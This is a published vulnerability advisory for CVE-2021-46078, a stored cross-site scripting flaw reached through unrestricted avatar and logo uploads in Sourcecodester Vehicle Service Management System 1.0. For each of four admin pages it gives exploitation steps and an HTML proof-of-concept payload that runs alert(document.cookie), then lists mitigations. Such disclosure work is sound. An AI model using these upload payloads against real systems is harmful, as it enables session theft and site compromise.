CVE-2021-46078
Exploit Title: Vehicle Service Management System - 'Multiple' File upload Leads to Stored Cross-Site Scripting
CVE: CVE-2021-46078
CVSS: 4.8 MEDIUM
References:
Description:
An Unrestricted File Upload vulnerability exists in Sourcecodester Vehicle Service Management System 1.0. A remote attacker can upload malicious files leading to a Stored Cross-Site Scripting vulnerability.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Login to the admin panel http://localhost/vehicle_service/admin
- Navigate to My Account section http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Save the above html code For Ex:XSS.html
- In My Account Section enter all the required details and browse the html file in Avatar.
- Click on update button.
- Open the avatar image in new tab.
- Malicious javascript code triggered.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
- Login to the admin panel http://localhost/vehicle_service/admin
- Navigate to User List section and click on Create New button.
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Save the above html code For Ex:XSS.html
- In Create New User Page enter all the required details and browse the html file in Avatar.
- Click on Save button.
- Open the avatar image in new tab.
- Malicious javascript code triggered.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Exploit:
- Login to the admin panel http://localhost/vehicle_service/admin
- Navigate to Settings section http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Save the above html code For Ex:XSS.html
- In Settings Section enter all the required details and browse the html file in System Logo.
- Click on update button.
- Open the System Logo image in new tab.
- Malicious javascript code triggered.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
- Login to the admin panel http://localhost/vehicle_service/admin
- Navigate to Settings section http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Save the above html code For Ex:XSS.html
- In Settings Section enter all the required details and browse the html file in Website Cover.
- Click on update button.
- Open the Website Cover image in new tab.
- Malicious javascript code triggered.
Impact:
An attacker can able to upload malicious file in multiple endpoints it leads to Stored Cross-Site Scripting.
Mitigation:
It is recommended to implement the following:
- Never accept a filename and its extension directly without having a white-list filter.
- If there is no need to have Unicode characters, it is highly recommended to only accept alpha-numeric characters and only one dot as an input for the file name and the extension.
- Limit the file size to a maximum value in order to prevent denial of service attacks.
- Uploaded directory should not have any "execute" permission.
- Don't rely on client-side validation only.
sanupl/vehicle-service-management-system-multiple-file-upload-leads-to-stored-cross-site-scripting
